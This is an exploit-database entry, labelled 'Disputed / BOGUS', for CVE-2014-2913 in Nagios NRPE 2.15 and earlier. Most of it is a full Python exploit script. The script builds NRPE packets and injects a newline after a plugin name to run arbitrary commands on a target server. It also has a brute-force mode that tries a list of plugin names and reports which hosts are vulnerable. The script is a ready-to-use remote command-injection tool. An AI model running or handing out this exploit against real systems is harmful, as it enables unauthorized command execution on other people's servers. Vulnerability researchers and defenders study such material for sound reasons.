Disputed / BOGUS

NRPE 2.15 Remote Command Execution

Published
Credit
Risk
2014.08.29
Claudio Viviani
High
CWE
CVE
Local
Remote
CWE-78
CVE-2014-2913
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial

#!/usr/bin/python
#
#
# Exploit Title : NRPE <= 2.15 Remote Code Execution Vulnerability
#
# Discovered by : Dawid Golunski
# dawid (at) legalhackers (dot) com
# legalhackers.com
#
# Exploit Author : Claudio Viviani
# http://www.homelab.it
#
# info@homelab.it
# homelabit@protonmail.ch
#
# https://www.facebook.com/homelabit
# https://twitter.com/homelabit
# https://plus.google.com/+HomelabIt1/
# https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww
#
#
#
# C crc32 function ripped from check_nrpe_clone by Alan Brenner <alan.brenner@ithaka.org>
# http://www.abcompcons.com/files/nrpe_client.py
#
# pyOpenSSL Library required (http://pyopenssl.sourceforge.net/)
#
# [root@localhost ~]# pip-python install pyOpenSSL
#
# NRPE <= 2.15 Remote Command Execution Vulnerability
# Release date: 17.04.2014
# Discovered by: Dawid Golunski
# Severity: High
# CVE-2014-2913
#
# http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2913
# http://www.exploit-db.com/exploits/32925/
# http://www.homelab.it/index.php/2014/05/03/nagios-nrpe-remote-command-injection-test-fix/ (ITA)
#
# Tested on CentOS 5.x, CentOS 6.x, BacBox 3.x, KaliLinux 1.0.6 with Python 2.x
#
# Demo: https://www.youtube.com/watch?v=nmYiBdnWWcE
#

import OpenSSL # non-standard, see http://pyopenssl.sourceforge.net/
import optparse
import os
import signal
import socket
import struct
import sys
import time

banner = """

$$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$\\
$$$\ $$ |$$ __$$\ $$ __$$\ $$ _____| $$ __$$\ $$$$ | $$ ____|
$$$$\ $$ |$$ | $$ |$$ | $$ |$$ | \__/ $$ | \_$$ | $$ |
$$ $$\$$ |$$$$$$$ |$$$$$$$ |$$$$$\ $$$$$$ | $$ | $$$$$$$\\
$$ \$$$$ |$$ __$$< $$ ____/ $$ __| $$ ____/ $$ | \_____$$\\
$$ |\$$$ |$$ | $$ |$$ | $$ | $$ | $$ | $$\ $$ |
$$ | \$$ |$$ | $$ |$$ | $$$$$$$$\ $$$$$$$$\ $$\ $$$$$$\\$$$$$$ |
\__| \__|\__| \__|\__| \________| \________|\__|\______|\______/



$$$$$$$\ $$$$$$\ $$$$$$$$\\
$$ __$$\ $$ __$$\ $$ _____|
$$ | $$ |$$ / \__|$$ |
$$$$$$$ |$$ | $$$$$\\
$$ __$$< $$ | $$ __|
$$ | $$ |$$ | $$\ $$ |
$$ | $$ |\$$$$$$ |$$$$$$$$\\
\__| \__| \______/ \________|
NRPE <= 2.15 R3m0t3 C0mm4nd Ex3cut10n


=============================================
- Release date: 17.04.2014
- Discovered by: Dawid Golunski
- Severity: High
- CVE: 2014-2913
=============================================

Written by:

Claudio Viviani

http://www.homelab.it

info@homelab.it
homelabit@protonmail.ch

https://www.facebook.com/homelabit
https://twitter.com/homelabit
https://plus.google.com/+HomelabIt1/
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww

"""
# Plugin list for Brute force mode
PluginList = ['check_all',
'check_apt',
'check_bdii',
'check_bonding',
'check_breeze',
'check_by_ssh',
'check_check-updates',
'check_check_sip',
'check_cluster',
'check_dhcp',
'check_dig',
'check_disk',
'check_disk_smb',
'check_dns',
'check_dpm-disk',
'check_dpm-head',
'check_dummy',
'check_file_age',
'check_flexlm',
'check_fping',
'check_game',
'check_hpjd',
'check_http',
'check_icmp',
'check_ide_smart',
'check_ifoperstatus',
'check_ifstatus',
'check_ircd',
'check_lcgdm',
'check_lcgdm-common',
'check_ldap',
'check_lfc',
'check_linux_raid',
'check_load',
'check_log',
'check_mailq',
'check_mrtg',
'check_mrtgtraf',
'check_mysql',
'check_nagios',
'check_nrpe',
'check_nt',
'check_ntp',
'check_nwstat',
'check_openmanage',
'check_oracle',
'check_overcr',
'check_perl',
'check_pgsql',
'check_ping',
'check_procs',
'check_radius',
'check_real',
'check_rhev',
'check_rpc',
'check_sensors',
'check_smtp',
'check_snmp',
'check_ssh',
'check_swap',
'check_tcp',
'check_time',
'check_ups',
'check_users',
'check_wave']



# nrpe 2.15 skip chars "|`&><'\"\\[]{};" and "$()" but not "\x0a"(new line)
evilchar = "\x0a"

QUERY_PACKET = 1
RESPONSE_PACKET = 2

NRPE_PACKET_VERSION_2 = 2

# max amount of data we'll send in one query/response
MAX_PACKETBUFFER_LENGTH = 1024


#def debug(sMessage):
# """Send a string to STDERR"""
# if DEBUG:
# sys.stderr.write("%s\n" % sMessage)

class DataPacket:
"""A Python implementation of the C struct, packet."""
def __init__(self, packet_version, packet_type):
self.nPacketVersion = packet_version # int16
self.nPacketType = packet_type # int16
self.nCRC32 = 0 # u_int32
self.nResultCode = 2324 # int16
self.sData = ''
self.tCRC32 = (
0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419,
0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4,
0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07,
0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de,
0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856,
0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9,
0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4,
0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b,
0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3,
0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a,
0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599,
0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924,
0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190,
0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f,
0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e,
0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01,
0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed,
0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950,
0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3,
0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2,
0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a,
0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5,
0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010,
0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f,
0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17,
0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6,
0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615,
0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8,
0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344,
0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb,
0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a,
0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5,
0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1,
0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c,
0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef,
0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236,
0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe,
0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31,
0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c,
0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713,
0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b,
0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242,
0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1,
0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c,
0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278,
0xd70dd2ee, 0x4e048354, 0x3903b3c2, 0xa7672661, 0xd06016f7,
0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, 0x40df0b66,
0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9,
0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605,
0xcdd70693, 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8,
0x5d681b02, 0x2a6f2b94, 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b,
0x2d02ef8d)

def __str__(self):
# Turn whatever string data we have into a null terminated string
if len(self.sData) < MAX_PACKETBUFFER_LENGTH:
sData = self.sData + "\0" * (MAX_PACKETBUFFER_LENGTH - len(self.sData))
sData += "SR" # not sure about this, from perl
elif len(self.sData) == MAX_PACKETBUFFER_LENGTH + 2:
sData = self.sData
else:
raise ValueError("CHECK_NRPE: invalid input")
# Return a string that equals the C struct, not something printable
return struct.pack("!hhLh" + str(len(sData)) + "s", self.nPacketVersion,
self.nPacketType, self.nCRC32, self.nResultCode, sData)

def __len__(self):
return len(self.__str__())

def dumpself(self):
"""Debugging output for self as C structure.

Not normally used."""
sElf = self.__str__()
sPrev = sElf[0:1]
nCount = 0
ii = -1
for sChar in sElf[1:]:
ii += 1
if sChar == sPrev:
nCount += 1
continue
if nCount:
print "%d\t%d *" % (ii - nCount, nCount + 1),
nCount = 0
else:
print "%d\t" % ii,
print "\t'%s' (%d)" % (sPrev, ord(sPrev))
sPrev = sChar
print "%d\t\t'%s' (%d)" % (ii + 1, sPrev, ord(sPrev))

def calculate_crc32(self):
"""Calculate the CRC32 value for the string version of self."""
nCRC = 0xFFFFFFFF
for ii in self.__str__():
nIndex = (nCRC ^ ord(ii)) & 0xFF
nCRC = ((nCRC >> 8) & 0x00FFFFFF) ^ self.tCRC32[nIndex]
self.nCRC32 = nCRC ^ 0xFFFFFFFF
#debug("DataPacket.calculate_crc32 = %d" % self.nCRC32)

def extract(self, sQuery):
"""Turn a string into the DataPacket attributes."""
#debug("DataPacket.extract(%d)" % len(sQuery))
tVals = struct.unpack("!hhLh" + str(len(sQuery) - 10) + "s", sQuery)
self.nPacketVersion = tVals[0]
self.nPacketType = tVals[1]
self.nCRC32 = tVals[2]
self.nResultCode = tVals[3]
self.sData = tVals[4]

m_nTimeout = 0
def alarm_handler(nSignum, oFrame):
"""Timeout catcher"""
raise KeyboardInterrupt("CHECK_NRPE: Socket timeout after %d seconds." %
m_nTimeout)


class NrpeClient(DataPacket):
"""Everything needed to send a message to an NRPE server and get data back.
"""
def __init__(self, server_name, server_port=5666, use_ssl=True, timeout=10,
packet_version=NRPE_PACKET_VERSION_2):
DataPacket.__init__(self, packet_version, QUERY_PACKET)
self.sServer = server_name
self.nPort = server_port
self.bUseSSL = use_ssl
self.nTimeout = timeout

def run_query(self, sQuery):
"""Connect to the NRPE server, send the query and get back data.
"""
# initialize alarm signal handling and set timeout
signal.signal(signal.SIGALRM, alarm_handler)
signal.alarm(self.nTimeout)

# try to connect to the host at the given port number
oSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# do SSL handshake
if self.bUseSSL:
oContext = OpenSSL.SSL.Context(OpenSSL.SSL.TLSv1_METHOD)
oContext.set_cipher_list('ADH')
oConnection = OpenSSL.SSL.Connection(oContext, oSocket)
else:
oConnection = oSocket

oConnection.connect((self.sServer, self.nPort))

# we're connected and ready to go
self.sData = sQuery
self.nCRC32 = 0
self.calculate_crc32()

# send the packet
oConnection.send(str(self))

# wait for the response packet
sRval = oConnection.recv(len(self))

# close the connection
if self.bUseSSL and not oConnection.shutdown():
try:
sRval += oConnection.recv(len(self))
except OpenSSL.SSL.ZeroReturnError:
pass
oSocket.close()
del oSocket, oConnection
if self.bUseSSL:
del oContext

# reset timeout
signal.alarm(0)

if len(sRval) == 0:
raise IOError("CHECK_NRPE: Received 0 bytes from daemon." +
"Check the remote server logs for error messages.")
elif len(sRval) < len(self):
raise IOError("CHECK_NRPE: Receive underflow - only " +
"%d bytes received (%d expected)." % (len(sRval), len(self)))

# Become the received data
self.extract(sRval)

# check the crc 32 value
nRvalCRC = self.nCRC32
self.nCRC32 = 0
self.calculate_crc32()
if nRvalCRC != self.nCRC32:
raise ValueError("CHECK_NRPE: Response packet had invalid CRC32.")

# check packet version
if self.nPacketVersion != NRPE_PACKET_VERSION_2:
raise ValueError("CHECK_NRPE: Invalid packet version received from server.")

# check packet type
if self.nPacketType != RESPONSE_PACKET:
raise ValueError("CHECK_NRPE: Invalid packet type received from server.")

# Turn the input data into a proper python string (chop at first NULL)
for ii in range(len(self.sData)):
if self.sData[ii] == "\0":
break
self.sData = self.sData[0:ii]


if __name__ == '__main__':
m_oOpts = optparse.OptionParser("%prog -H Host_or_IP -c nrpe_command --cmd=\"command to execute\" [-b, --brute] [-n] [-p PORT] [--timeout sec] [--list]")
m_oOpts.add_option('--host', '-H', action='store', type='string',
help='The address of the host running the NRPE daemon (required)')
m_oOpts.add_option('--ssl', '-n', action='store_false', default=True,
help='Do no use SSL')
m_oOpts.add_option('--port', '-p', action='store', type='int', default=5666,
help='The port on which the daemon is running (default=5666)')
m_oOpts.add_option('--timeout', '-t', action='store', type='int',
default=10,
help='Number of seconds before connection times out (default=10)')
m_oOpts.add_option('--command', '-c', action='store', type='string',
#default='get_data',
help='The name of nrpe command')
m_oOpts.add_option('--brute', '-b', action='store_true', default=False,
help='Find existing nrpe command from list [ -list ]')
m_oOpts.add_option('--list', action='store_true', default=False,
help='Show NRPE Command list')
m_oOpts.add_option('--cmd', action='store', type='string',
help='Command to execute on the remote server')

m_oOptions, m_lArgs = m_oOpts.parse_args()
m_nTimeout = m_oOptions.timeout
m_sQuery = m_oOptions.command
m_gList = m_oOptions.list
m_sBrute = m_oOptions.brute

print (banner)

if m_gList:
print('[+] NRPE Command list\n')
for LinesPluginList in PluginList:
print(LinesPluginList)
sys.exit(0)
elif m_sQuery and m_sBrute:
print m_oOpts.format_help()
print('[!]')
print('[!] ERROR: Select only -c OR -b option\n')
sys.exit(0)
elif not m_oOptions.host or not m_oOptions.cmd:
print m_oOpts.format_help()
sys.exit(0)

print('[+] Target: '+m_oOptions.host)
print('[+] Command: '+m_oOptions.cmd+' \n')

if m_sBrute:
print('[+] Brute force Mode....')
print('[+]')
for LinesPluginList in PluginList:

m_CommandQuery = ""
m_CommandQuery += ' ' + m_oOptions.cmd
if m_lArgs:
m_CommandQuery += ' ' + ' '.join(m_lArgs)

m_sQuery = LinesPluginList+'!'+str(evilchar)+str(m_CommandQuery)+' #'


m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
m_oOptions.timeout)
try:
m_oNRPE.run_query(m_sQuery)
except socket.error:
print('[!] Connection Error!')
sys.exit(1)
except OpenSSL.SSL.ZeroReturnError:
print('[!] Not Vulnerable')
print('[!] Option dont_blame_nrpe disabled or service fixed')
sys.exit(1)

if m_oNRPE.sData[-11:] == "not defined":
print('[-] Checking for NRPE command '+LinesPluginList+':\t\t\tnot found')
else:
print('[+] Checking for NRPE command '+LinesPluginList+':\t\t\tVULNERABLE!')
print('[+]')
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
print('[+]')
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
print('[+]')
print(m_oNRPE.sData)
sys.exit(0)
elif m_sQuery:
print('[+] Custom command Mode....')
print('[+]')
print('[+] Connecting......')

m_CommandQuery = ""
m_CommandQuery += ' ' + m_oOptions.cmd
if m_lArgs:
m_CommandQuery += ' ' + ' '.join(m_lArgs)

m_sQuery = m_sQuery+'!'+str(evilchar)+str(m_CommandQuery)+' #'

m_oNRPE = NrpeClient(m_oOptions.host, m_oOptions.port, m_oOptions.ssl,
m_oOptions.timeout)
try:
m_oNRPE.run_query(m_sQuery)
except KeyboardInterrupt:
print("[!] CHECK_NRPE: Socket timeout after %d seconds." % m_nTimeout)
sys.exit(1)
except socket.error:
print('[!] Connection Error!')
sys.exit(1)
except OpenSSL.SSL.ZeroReturnError:
print('[!] Not Vulnerable')
print('[!] Option dont_blame_nrpe disabled or service fixed')
sys.exit(1)

if m_oNRPE.sData[-11:] == "not defined":
print('[-] Checking for NRPE command '+m_oOptions.command+': not found...try other NRPE command')
else:
print('[+] Checking for NRPE command '+m_oOptions.command+': VULNERABLE!')
print('[+]')
print('[+] Max Output CHAR 1024 (According to NRPE <= 2.15 specifications)')
print('[+]')
print('[+] Please ignore NRPE plugin command messages (Usage or Errors)')
print('[+]')
print(m_oNRPE.sData)
sys.exit(0)


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